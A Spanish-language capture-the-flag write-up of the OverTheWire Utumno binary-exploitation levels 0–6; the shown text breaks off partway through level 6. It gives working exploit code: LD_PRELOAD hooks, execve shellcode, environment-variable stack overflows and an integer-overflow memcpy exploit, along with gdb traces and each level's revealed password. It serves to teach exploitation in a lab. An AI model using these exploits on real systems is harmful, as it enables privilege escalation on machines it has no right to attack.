Utumno - [OverTheWire]
Table of Contents
Introducción
Utumno son una serie de retos que tienen que ver con la explotación y el reversing de binarios, más avanzados que Behemoth. Cada vez que solucionas un reto obtienes acceso a la contraseña empleada para acceder al siguiente nivel.
Para acceder a los retos tienes que emplear SSH.
ssh -p 2227 utumno0@utumno.labs.overthewire.org
Los retos se encuentran en :
utumno0@utumno:~$ ls -la /utumno/
total 84
drwxr-xr-x 2 root root 4096 Aug 26 2019 .
drwxr-xr-x 27 root root 4096 Aug 26 2019 ..
---x--x--- 1 utumno1 utumno0 7188 Aug 26 2019 utumno0
---s--x--- 1 utumno1 utumno0 7188 Aug 26 2019 utumno0_hard
-r-sr-x--- 1 utumno2 utumno1 8052 Aug 26 2019 utumno1
-r-sr-x--- 1 utumno3 utumno2 7484 Aug 26 2019 utumno2
-r-sr-x--- 1 utumno4 utumno3 7412 Aug 26 2019 utumno3
-r-sr-x--- 1 utumno5 utumno4 7672 Aug 26 2019 utumno4
-r-sr-x--- 1 utumno6 utumno5 7980 Aug 26 2019 utumno5
-r-sr-x--- 1 utumno7 utumno6 8116 Aug 26 2019 utumno6
-r-sr-x--- 1 utumno8 utumno7 8504 Aug 26 2019 utumno7
Y las credenciales en:
utumno0@utumno:~$ ls -la /etc/utumno_pass/
total 44
drwxr-xr-x 2 root root 4096 Aug 26 2019 .
drwxr-xr-x 88 root root 4096 Aug 26 2019 ..
-r-------- 1 utumno0 utumno0 8 Aug 26 2019 utumno0
-r-------- 1 utumno1 utumno1 11 Aug 26 2019 utumno1
-r-------- 1 utumno2 utumno2 11 Aug 26 2019 utumno2
-r-------- 1 utumno3 utumno3 11 Aug 26 2019 utumno3
-r-------- 1 utumno4 utumno4 11 Aug 26 2019 utumno4
-r-------- 1 utumno5 utumno5 11 Aug 26 2019 utumno5
-r-------- 1 utumno6 utumno6 11 Aug 26 2019 utumno6
-r-------- 1 utumno7 utumno7 11 Aug 26 2019 utumno7
-r-------- 1 utumno8 utumno8 11 Aug 26 2019 utumno8
Nota: Si es tu primera vez en el mundo de la explotación binaria, te recomiendo que empieces leyendo mis posts de Protostar, Narnia y Behemoth antes que comenzar por este nivel, pues se darán por hecho algunos conocimientos.
Level 0
El primer nivel es un ejecutable el cual quiere que leamos su contenido.
utumno0@utumno:/utumno$ ./utumno0
Read me! :P
Sin embargo, no podemos leer nada porque no tenemos permisos de lectura, esto significa que no podemos usar programas como ltrace, gdb ni scp (para bajarlo a nuestra máquina y analizarlo allí).
utumno0@utumno:/utumno$ ls -la utumno0
---x--x--- 1 utumno1 utumno0 7188 Aug 26 2019 utumno0
Después de buscar bastante por Internet encontré este post, donde se explica como modificar la ejecución de un programa a través de la suplantación de librerías, empleadas por el binario.
Para comprobar si el secuestro de librerías funciona, se ha creado el siguiente programa en C, que contiene la función puts la cual imprime "HOLA", en vez de lo introducido como parámetro.
#include <stdio.h>
int puts ( const char * str ) {
printf("HOLA");
return 0;
}
Es necesario compilarlo como una librería compartida de 32 bits. Para ello, se emplea el siguiente comando
utumno0@utumno:/tmp/Marmeus$ gcc -shared -fpic -m32 lib.c -o lib.so
Ahora, solo queda ejecutarlo, creando la variable de entorno LD_PRELOAD
, que sobrescribe la librería empleada para la función puts, obteniendo el siguiente resultado.
utumno0@utumno:/tmp/Marmeus$ LD_PRELOAD=./hook.so /utumno/utumno0
HOLAutumno0@utumno:/tmp/Marmeus$
Ahora que ya sabemos que es vulnerable a este tipo de ataques, podemos emplear printf
dentro de nuestra función puts. Así nos muestrará todas las cadenas de caracteres que se encuentran dentro de nuestro programa.
#include <stdio.h>
int puts ( const char * str ) {
printf("HOLA");
printf("%s-%s-%s-%s-%s-%s-%s-%s-%s-%s-");
return 0;
}
Finalmente, solo queda compilarlo y ejecutarlo, obteniendo la contraseña para el siguiente nivel.
utumno0@utumno:/tmp/Marmeus$ gcc -shared -fpic -m32 hook.c -o hook.so && LD_PRELOAD=./hook.so /utumno/utumno0
HOLAZ
$$D$---,-(null)---Read me! :P-password: aathaeyiew-(null)-utumno0@utumno:/tmp/Marmeus$
Level 1
Como siempre mediante ltrace jugamos un poquito con el programa para ver que hace.
utumno1@utumno:~$ /utumno/utumno1
utumno1@utumno:~$ ltrace /utumno/utumno1
__libc_start_main(0x80484a5, 1, 0xffffd784, 0x8048530 <unfinished ...>
exit(1 <no return ...>
+++ exited (status 1) +++
utumno1@utumno:~$ ltrace /utumno/utumno1 hola
__libc_start_main(0x80484a5, 2, 0xffffd784, 0x8048530 <unfinished ...>
opendir("hola") = 0
exit(1 <no return ...>
+++ exited (status 1) +++
utumno1@utumno:/tmp/Marmeus$ ltrace /utumno/utumno1 /tmp/Marmeus
__libc_start_main(0x80484a5, 2, 0xffffd734, 0x8048530 <unfinished ...>
opendir("/tmp/Marmeus") = 0x804a008
readdir(0x804a008) = 0x804a024
strncmp("sh_", "hook.so", 3) = 11
readdir(0x804a008) = 0x804a048
strncmp("sh_", ".", 3) = 69
readdir(0x804a008) = 0x804a078
strncmp("sh_", ".gdbinit", 3) = 69
readdir(0x804a008) = 0x804a0a0
strncmp("sh_", "..", 3) = 69
readdir(0x804a008) = 0x804a0b0
strncmp("sh_", "hook.c", 3) = 11
readdir(0x804a008) = 0
+++ exited (status 0) +++
El programa necesita que le pasemos como argumento la ruta de una carpeta, después examina en la carpeta archivos que contenga los tres primeros caracteres sh_
. Si creamos una carpeta sh_AAAA
, podemos observar como se produce una Segmentation Fault.
utumno1@utumno:/tmp/Marmeus$ makdir sh_AAAA
utumno1@utumno:/tmp/Marmeus$ ltrace /utumno/utumno1 /tmp/Marmeus
[...]
strncmp("sh_", "sh_AAAA", 3) = 0
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Usando Ghidra, podemos comprobar que nuestras suposiciones son ciertas.
int main(int argc,char **argv)
{
DIR *__dirp;
int iVar1;
dirent *pdVar2;
dirent *ds;
DIR *dp;
if (argv[1] == (char *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
__dirp = opendir(argv[1]);
if (__dirp == (DIR *)0x0) {
/* WARNING: Subroutine does not return */
exit(1);
}
while( true ) {
pdVar2 = readdir(__dirp);
if (pdVar2 == (dirent *)0x0) break;
iVar1 = strncmp("sh_",pdVar2->d_name,3);
if (iVar1 == 0) {
run(pdVar2->d_name + 3);
}
}
return 0;
}
Si existe un archivo que comience por sh_
, se obtienen los caracteres posteriores y se llama a la función run
, que ejecuta los caracteres como si fuese una función en ensamblador.
void run(void *p)
{
int *r;
return;
}
Lamentablmente, el típico shell script que nos descargamos de shell-storm.org no funciona correctamente porque contiene caracteres especiales que son interpretados por bash y que no nos permitiría crear un archivo con esos caracteres.
Para poder crear un código ensamblador que ejecutase el fichero sh, se he empleado el siguiente post. El resultado es el siguiente:
xor eax, eax
push eax
push 0x6b636168 ; hack
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
add eax, 0xb
int 0x80
Básicamente, lo que hace este código, es realizar un system interrupt para la función sys_execve
la cual recibe como parámetro el fichero que se desea ejecutar. En nuestro caso, lo he llamado hack, que no es más que un link simbolico a /bin/sh
, pues no podemos crear un archivo que contenga el caracter /
.
utumno1@utumno:/tmp/Marmeus$ ln -s /bin/sh hack
Como comentario, la penúltima instrucción no puede ser mov eax,0xb
debido a que tras su compilación genera null bytes evitando que podamos crear un archivo en la terminal.
10: b8 0b 00 00 00 mov eax,0xb
Empleando defuse.ca y el código ensamblador anterior, obtenemos la siguiente cadena en hexadecimal.
\x31\xC0\x50\x68\x68\x61\x63\x6B\x89\xE3\x50\x89\xE2\x53\x89\xE1\x83\xC0\x0B\xCD\x80
Para crear el archivo empleamos el siguiente comando.
utumno1@utumno:/tmp/Marmeus$ touch sh_$(python -c "print '\x31\xC0\x50\x68\x68\x61\x63\x6B\x89\xE3\x50\x89\xE2\x53\x89\xE1\x83\xC0\x0B\xCD\x80'")
Finalmente, solo necesitamos ejecutar el programa pasando la carpeta donde se encuentra el simbolic link y el el archivo sh_
.
utumno1@utumno:/tmp/Marmeus$ /utumno/utumno1 /tmp/Marmeus
$ id
uid=16001(utumno1) gid=16001(utumno1) euid=16002(utumno2) groups=16001(utumno1)
$ whoami
utumno2
$ cat /etc/utumno_pass/utumno2
ceewaceiph
Level 2
Tras varias experimentos con el programa, lo único que he conseguido obtener es la cadena de caracteres "Aw.."
utumno2@utumno:/tmp/Marmeus$ /utumno/utumno2
Aw..
[...]
utumno2@utumno:/tmp/Marmeus$ ltrace /utumno/utumno2 123123
__libc_start_main(0x804844b, 2, 0xffffd734, 0x8048490 <unfinished ...>
puts("Aw.."Aw..
) = 5
exit(1 <no return ...>
+++ exited (status 1) +++
Por lo tanto, he procedido a analizarlo con con ghrida, obteniendo el siguiente código.
int main(int argc,char **argv)
{
char buffer [12];
if (argc != 0) {
puts("Aw..");
/* WARNING: Subroutine does not return */
exit(1);
}
strcpy(buffer,argv[10]);
return 0;
}
Comprueba si el número de argumentos es diferente a 0 y si no lo es almacena el valor del décimo argumento en la variable buffer
.
Parece ser que para poder realizar nuestro Buffer Overflow, necesitamos que el número de argumentos pasados al programa sea 0. Y uno podría pensar que eso es imposible, ya que el número de argumentos siempre es 1, que coincide con el nombre del programa.
Pues bien, eso no es del todo cierto, porque si creamos un programa que ejecute a /utumno/utumno2
, podemos no pasarle parámetros y utumno2 lo trataré como si no le hubiésemos introducido ningún argumento.
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = {NULL};
char *env[] = {NULL};
execve("/utumno/utumno2", arg, env);
}
Al ejecutarlo vemos que se produce una violación del segmento ya que esta leyendo el valor del décimo argumento el cual no se encuentra inicializado.
utumno2@utumno:/tmp/Marmeus$ gcc -m32 E2.c -o E2; ltrace ./E2
__libc_start_main(0x565555a0, 1, 0xffffd764, 0x56555600 <unfinished ...>
execve(0x56555680, 0xffffd6ac, 0xffffd6ac, 0x565555b7 <no return ...>
--- Called exec() ---
__libc_start_main(0x804844b, 0, 0xffffdf14, 0x8048490 <unfinished ...>
strcpy(0xffffde6c, "\021\022\023\024\025\026\027\030\031\032\033\034\035\036\037 !"#$%&'()*+,-./0"... <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Entonces, ¿Cómo podemos sobrescribir la variable argv[10]
sino podemos pasar argumentos al programa?. Pues bien, la solución esta en la variables del entorno y la estructura del stack. Debido a que no existen los argumentos en el stack, las direcciones de entorno ocuparan su lugar, por lo que si generamos 10 variables de entorno podremos sobrescribir la variable argv[10].
Para comprobar esta teoría se ha creado el siguiente programa.
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = {NULL};
char *env[] = {
"AAAA",
"BBBB",
"CCCC",
"DDDD",
"EEEE",
"FFFF",
"GGGG",
"HHHH",
"IIII",
"JJJJ",
"KKKK"
};
execve("/utumno/utumno2", arg, env);
}
Al ejecutarlo y analizarlo con ltrace, vemos que se lee la variable 10 que tiene el valor "JJJJ".
utumno2@utumno:/tmp/Marmeus$ gcc E2.c -o E2; ltrace ./E2
execve(0x55555555481b, 0x7fffffffe578, 0x7fffffffe520, 0 <no return ...>
--- Called exec() ---
__libc_start_main(0x804844b, 0, 0xffffdeb4, 0x8048490 <unfinished ...>
strcpy(0xffffde0c, "JJJJ") = 0xffffde0c
+++ exited (status 0) +++
Ahora tenemos que comprobar cuantos caracteres son necesarios para que se produzca el Buffer Ovewflow.
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = {NULL};
char *env[] = {
"",
"",
"",
"",
"",
"",
"",
"",
"",
"AAAABBBBCCCCDDDDEEEEFFFF",
NULL
};
execve("/utumno/utumno2", arg, env);
}
La dirección de retorno se ha sobrescrito con "E"s, por lo que solo necesitamos 20 caracteres para sobrescribir la dirección de retorno.
utumno2@utumno:/tmp/Marmeus$ strace ./E2
[...]
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x45454545} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault
El shellcode utilizado es el mismo que se empleo en behemoth level 1, solo que añadiendo la dirección del jmp esp
a mano (Los 4 primeros bytes del shellcode).
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = {NULL};
char *env[] = {
"",
"",
"",
"",
"",
"",
"",
"",
"",
"AAAABBBBCCCCDDDD\x7f\x91\xf7\xf7\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80",
NULL
};
execve("/utumno/utumno2", arg, env);
}
Finalmente, solo queda ejecutarlo, obteniendo la contraseña para el siguiente nivel.
utumno2@utumno:/tmp/Marmeus$ gcc -m32 E2.c -o E2; ./E2
$ id
uid=16002(utumno2) gid=16002(utumno2) euid=16003(utumno3) groups=16002(utumno2)
$ cat /etc/utumno_pass/utumno3
zuudafiine
Level 3
Ejecutando el programa a simple vista parece que solamente pide valores sin ningún tipo de reacción.
utumno3@utumno:/tmp/Marmeus$ /utumno/utumno3
a
AAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
utumno3@utumno:/tmp/Marmeus$ ltrace /utumno/utumno3
__libc_start_main(0x80483eb, 1, 0xffffd774, 0x8048470 <unfinished ...>
getchar(0x200000, 1, 0, 0xf7e40890 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)= 65
getchar(0x200041, 1, 0, 0xf7e40890)= 65
getchar(0x200041, 1, 0, 0xf7e40890)= 65
getchar(0x204241, 1, 0, 0xf7e40890)= 65
getchar(0x204241, 1, 0, 0xf7e40890)= 65
getchar(0x474241, 1, 0, 0xf7e40890)= 65
getchar(0x474241, 1, 0, 0xf7e40890)= 65
getchar(0x48474241, 1, 0, 0xf7e40890)= 65
getchar(0x48474241, 1, 0, 0xf7e40890)= 65
getchar(0x48474241, 77, 0, 0xf7e40890)= 65
getchar(0x48474241, 77, 0, 0xf7e40890)= 65
getchar(0x48474241, 0x4e4d, 0, 0xf7e40890)= 65
getchar(0x48474241, 0x4e4d, 0, 0xf7e40890)= 65
getchar(0x48474241, 0x534e4d, 0, 0xf7e40890)= 65
getchar(0x48474241, 0x534e4d, 0, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 0, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 0, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 89, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 89, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 0x5a59, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 0x5a59, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 0x5f5a59, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 0x5f5a59, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e40890)= 65
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e40865)= 65
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e40865)= 65
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e46665)= 65
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf7e46665)= 65
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf76b6665)= 65
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0xf76b6665)= 65
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0x6c6b6665)= 10
getchar(0x48474241, 0x54534e4d, 0x605f5a59, 0x6c6b6665
+++ exited (status 0) +++
Decompilandolo con ghidra, podemos ver que el programa solicita 2 chars: el primero determina la posición del vector b
donde se escribirá el valor del segundo getchar
.
int main(int argc,char **argv)
{
char cVar1;
int char1;
char b [24];
char res [24];
int c;
int i;
i = 0;
while( true ) {
char1 = getchar();
if ((char1 == -1) || (23 < i)) break;
b[i] = (char)char1;
b[i] = b[i] ^ (char)i * '\x03';
cVar1 = b[i];
char1 = getchar();
res[cVar1] = (char)char1;
i = i + 1;
}
return 0;
}
Como tenemos control sobre la posición de escritura del vector b
, podemos sobrescribir cualquier dirección de memoria dentro del stack.
Después de mucho prueba y error, encontramos que a partir de la posición 40 (0x28
en hexadecimal) podemos introducir una A en la dirección de retorno del programa.
(gdb) b *0x804846b
(gdb) run <<< $(python -c "print '\x28\x41'")
Starting program: /utumno/utumno3 <<< $(python -c "print '\x28\x41'")
Breakpoint 2, 0x0804846b in main (argc=1, argv=0xffffd724) at utumno3.c:34
(gdb) x/xw $esp
0xffffd68c: 0xf7e2a241
Ahora tenemos que encontrar un valor que realizando la operación xor con(char)i * '\x03'
, nos de los valores 0x29
,0x29
,0x2a
,0xb
. Como se trata de una operación XOR, que se basa en los siguiente principios:
El que nos interesa es el último. Gracias a el podemos generar unos valores que al producirse la operación XOR nos devuelva las direcciones de memoria en las que queremos escribir. Para un mejor entendimiento, se pone el siguiente ejemplo.
>>> hex(0x2a^(2*0x03))
'0x2c'
>>> hex(0x2c^(2*0x03))
'0x2a'
Realizando el mismo proceso con las demás direcciones obtenemos los siguiente valores:
>>> hex((0x03*0)^0x28)
'0x28'
>>> hex((0x3*1)^0x29)
'0x2a'
>>> hex((0x03*2)^0x2a)
'0x2c'
>>> hex((0x03*3)^0x2b)
'0x22'
Una vez los tenemos todos y ejecutado el programa, podemos observar que hemos sobrescrito correctamente la dirección de retorno.
(gdb) run <<< $(python -c "print '\x28\x41\x2a\x42\x2c\x43\x22\x44'")
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /utumno/utumno3 <<< $(python -c "print '\x28\x41\x2a\x42\x2c\x43\x22\x44'")
Breakpoint 2, 0x0804846b in main (argc=1, argv=0xffffd724) at utumno3.c:34
(gdb) x/xw $esp
0xffffd68c: 0x44434241
Ahora necesitamos saber a donde saltar, como solamente podemos sobrescribir la dirección de retorno se ha decidido saltar a una variable de entorno llamada EGG
, inicializada con nuestro shellcode para que nos imprima el contenido del fichero /etc/utumno_pass/utumno4
, el assembly code es el siguiente:
Nota: Se hace de esta forma porque no se ha conseguido ejecutar una shell interactiva.
xor eax, eax
xor ecx, ecx
xor edx, edx
push eax
mov al, 0x5
push edx
push 0x346f6e6d
push 0x7574752f
push 0x73736170
push 0x5f6f6e6d
push 0x7574752f
push 0x6374652f
push 0x2f2f2f2f
mov ebx, esp
int 0x80
xchg eax, ebx
mov ecx, esp
add dx, 0x10
xor eax, eax
mov al, 0x3
int 0x80
mov al, 0x4
mov bl, 0x1
int 0x80
Tras compilarlo en defuse.ca, obtenemos el siguiente código.
export EGG=$(python -c "print '\x90'*100+'\x31\xC0\x31\xC9\x31\xD2\x50\xB0\x05\x52\x68\x6D\x6E\x6F\x34\x68\x2F\x75\x74\x75\x68\x70\x61\x73\x73\x68\x6D\x6E\x6F\x5F\x68\x2F\x75\x74\x75\x68\x2F\x65\x74\x63\x68\x2F\x2F\x2F\x2F\x89\xE3\xCD\x80\x93\x89\xE1\x66\x83\xC2\x10\x31\xC0\xB0\x03\xCD\x80\xB0\x04\xB3\x01\xCD\x80'")
Ahora necesitamos obtener una dirección de memoria en el stack que apunte a nuestro nop slide. Para ello se ha empleado GDB, buscando los nops.
(gdb) start
(gdb) x/1200xw $esp
[...]
0xffffddec: 0x47474500 0x9090903d 0x90909090 0x90909090
0xffffddfc: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffde2c: 0x90909090 0x90909090 0x90909090 0x90909090
Se ha elegido la dirección 0xffffde2c
.
Finalmente, solamente queda ejecutar el programa con los valores obtenidos anteriormente.
utumno3@utumno:/tmp/Marmeus$ python -c "print '\x28\x2c\x2a\xde\x2c\xff\x22\xff'" | /utumno/utumno3
oogieleoga
Level 4
Sorprendentemente, en el nivel 4 ya tenemos un Segmentation Fault nada más ejecutar el programa y que si le pasamos un argumento, este es empleado en la función atoi y después se llama a memcpy
utumno4@utumno:/tmp/Marmeus$ /utumno/utumno4
Segmentation fault
utumno4@utumno:/tmp/Marmeus$ /utumno/utumno4 AAAAAAAAAAAa
utumno4@utumno:/tmp/Marmeus$ ltrace /utumno/utumno4 AAAAAAAAAAAa
__libc_start_main(0x804844b, 2, 0xffffd764, 0x80484a0 <unfinished ...>
atoi(0xffffd89b, 0, 0, 0) = 0
memcpy(0xfffed7c6, nil, 0) = 0xfffed7c6
+++ exited (status 0) +++
utumno4@utumno:/tmp/Marmeus$ ltrace /utumno/utumno4
__libc_start_main(0x804844b, 1, 0xffffd774, 0x80484a0 <unfinished ...>
atoi(0, 0, 0, 0 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Empleando Ghidra, se puede apreciar que el programa usa el primer argumento de entrada como parámetro de la función atio, que transforma los números pasados como string a int y si le pasamos una letra devuelve 0.
int main(int argc,char **argv)
{
size_t __n;
char b [64];
char c [65212];
ushort j;
int i;
// The C library function int atoi(const char *str) converts the string argument str to an integer (type int). This function returns the converted integral number as an int value. If no valid conversion could be performed (Letters), it returns zero.
__n = atoi(argv[1]);
if (63 < (ushort)__n) {
/* WARNING: Subroutine does not return */
exit(1);
}
// The C library function void *memcpy(void *dest, const void *src, size_t n) copies n characters from memory area src to memory area dest.
memcpy(b,argv[2],__n);
return 0;
}
Después, comprueba que el valor es menor a 63, casteando la variable _n
a ushort, cuyo valor máximo es 65535, por lo que podemos realizar un Integer Overflow. Además, gracias al Integer Overflow podemos escribir más de 63 caracteres en el stack, por lo que podremos realizar un Buffer Overflow.
USHORT_MAX Maximum value for a variable of type unsigned short. 65535 (0xffff)
Si escribimos 65536, podemos ver con ltrace como el programa no solamente copia lo que le hemos introducido como argumento, sino que también copia todas las variables de entorno de nuestra terminal.
utumno4@utumno:/tmp/Marmeus$ ltrace ./utumno4 65536 AAAAAA
__libc_start_main(0x804844b, 3, 0xffad69d4, 0x80484a0 <unfinished ...>
atoi(0xffad74d6, 0, 0, 0) = 0x10000
memcpy(0xffac6a26, "AAAAAA\0SHELL=/bin/bash\0SESSION_M"..., 65536 <no return ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
Añadiendo 655520 caracteres como argumento se sobrescribe la dirección de retorno.
utumno4@utumno:/tmp/Marmeus$ strace ./utumno4 65536 $(python -c "print 'A'*65520")
[...]
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
+++ killed by SIGSEGV +++
Segmentation fault
Tras prueba y error, encontramos que escribiendo 65286 caracteres y cuatro 'B's sobrescribimos la dirección de retorno con Bs.
utumno4@utumno:/tmp/Marmeus$ strace ./utumno4 65536 $(python -c "print 'A'*65286+'BBBB'")
[...]
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x42424242} ---
+++ killed by SIGSEGV +++
Segmentation fault
Por lo tanto, solo queda sustituir las Bs por el payload que empleamos en el Level 2, que realiza un jmp ESP + <SHELLCODE>
, y ejecutar el programa, para obtener una shell.
utumno4@utumno:/tmp/Marmeus$ /utumno/utumno4 65536 $(python -c "print 'A'*65286+'\x7f\x91\xf7\xf7\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'")
$ id
uid=16004(utumno4) gid=16004(utumno4) euid=16005(utumno5) groups=16004(utumno4)
$ cat /etc/utumno_pass/utumno5
woucaejiek
Level 5
Al ejecutar el nivel 5, me doy cuenta de que obtenemos la misma salida por pantalla que en el Level 2.
utumno5@utumno:/tmp/Marmeus$ ltrace /utumno/utumno5
Aw..
utumno5@utumno:/tmp/Marmeus$ ltrace /utumno/utumno5
__libc_start_main(0x8048516, 1, 0xffffd774, 0x8048570 <unfinished ...>
puts("Aw.."Aw..
) = 5
exit(1 <no return ...>
+++ exited (status 1) +++
Por lo que procedo a decompilarlo con Ghidra para ver si han añadido algo nuevo.
int main(int argc,char **argv)
{
if (argc != 0) {
puts("Aw..");
/* WARNING: Subroutine does not return */
exit(1);
}
printf("Here we go - %s\n",argv[10]);
hihi(argv[10]);
return 0;
}
void hihi(char *p)
{
size_t sVar1;
char buf [12];
sVar1 = strlen(p);
if (sVar1 < 20) {
strcpy(buf,p);
}
else {
strncpy(buf,p,20);
}
return;
}
En este nivel el argumento 10 es pasado como argumento de la función hihi
, que comprueba si la longitud de la cadena es menor que 20, copiandola en caso afirmativo.
Por lo tanto, no es posible realizar la misma técnica 2 veces, ya que solamente nuestro exploit ocupa más de 21 bytes.
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = {NULL};
char *env[] = {
"",
"",
"",
"",
"",
"",
"",
"",
"",
"AAAABBBBCCCCDDDDEEEE",
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80",
NULL
};
execve("/utumno/utumno5", arg, env);
}
Sin embargo, nada nos impide sobrescribir la dirección de retorno por la dirección de una variable de entorno, que contiene la dirección de otra variable de entorno. Así, al ejecutarse el programa, saltará a la primera variable de entorno, leerá su contendio y saltará a la segunda variable de entorno donde se encuentra nuestro shellcode.
Para saber donde se encuentra nuestro shellcode se ha empleado GDB, eligiendo la dirección 0xffffdfa8
.
utumno5@utumno:/tmp/Marmeus$ gcc -m32 E5.c -o E5 && gdb ./E5
(gdb) r
Starting program: /tmp/Marmeus/E5
process 12796 is executing new program: /utumno/utumno5
Program received signal SIGSEGV, Segmentation fault.
Cannot access memory at address 0x45454545
(gdb) x/3000x $esp-3000
0xffffd1fc: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd20c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd21c: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd22c: 0x00000000 0x00000000 0x00000000 0x00000000
[...]
0xffffdf68: 0x45454544 0x90900045 0x90909090 0x90909090
0xffffdf78: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdf88: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdf98: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdfa8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdfb8: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffdfc8: 0x90909090 0x90909090 0xc9319090 0x6851e1f7
0xffffdfd8: 0x68732f2f 0x69622f68 0xb0e3896e 0x0080cd0b
0xffffdfe8: 0x7574752f 0x2f6f6e6d 0x6d757475 0x00356f6e
0xffffdff8: 0x00000000 0x00000000 Cannot access memory at address 0xffffe000
El exploit quedaría de la siguiente forma.
#include <unistd.h>
int main(int argc, char **argv) {
char *arg[] = {NULL};
char *env[] = {
"",
"",
"",
"",
"",
"",
"",
"",
"",
"AAAABBBBCCCCDDDD\xa8\xdf\xff\xff",
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80",
NULL
};
execve("/utumno/utumno5", arg, env);
}
Finalmente, solo queda ejecutarlo y obtendríamos nuestra shell.
utumno5@utumno:/tmp/Marmeus$ gcc -m32 E5.c -o E5
utumno5@utumno:/tmp/Marmeus$ ./E5
Here we go - AAAABBBBCCCCDDDD
$ id
uid=16005(utumno5) gid=16005(utumno5) euid=16006(utumno6) groups=16005(utumno5)
$ cat /etc/utumno_pass/utumno6
eiluquieth
Level 6
En el level 6 son necesarios 3 valores, los cuales son tratados de maneras diferentes.
utumno6@utumno:/tmp/Marmeus$ /utumno/utumno6
Missing args
utumno6@utumno:/tmp/Marmeus$ /utumno/utumno6 A B C
Table position 0 has value 11
Description: C
utumno6@utumno:/tmp/Marmeus$ ltrace /utumno/utumno6 A B C
__libc_start_main(0x80484db, 4, 0xffffd764, 0x80485b0 <unfinished ...>
malloc(32) = 0x804a008
strtoul(0xffffd8a4, 0, 16, 0x804a008) = 11
strtoul(0xffffd8a2, 0, 10, 0x804a008) = 0
strcpy(0x804a008, "C") = 0x804a008
printf("Table position %d has value %d\nD"..., 0, 11, "C"Table position 0 has value 11
Description: C) = 45
+++ exited (status 0) +++
Empleando Ghidra podemos ver que el programa pide como el programa comprueba si ha recibido 3 argumentos. En caso afirmativo, reserva 32 bytes en el heap, almacenando la dirección de memoria en el atributo p
de la estructura a
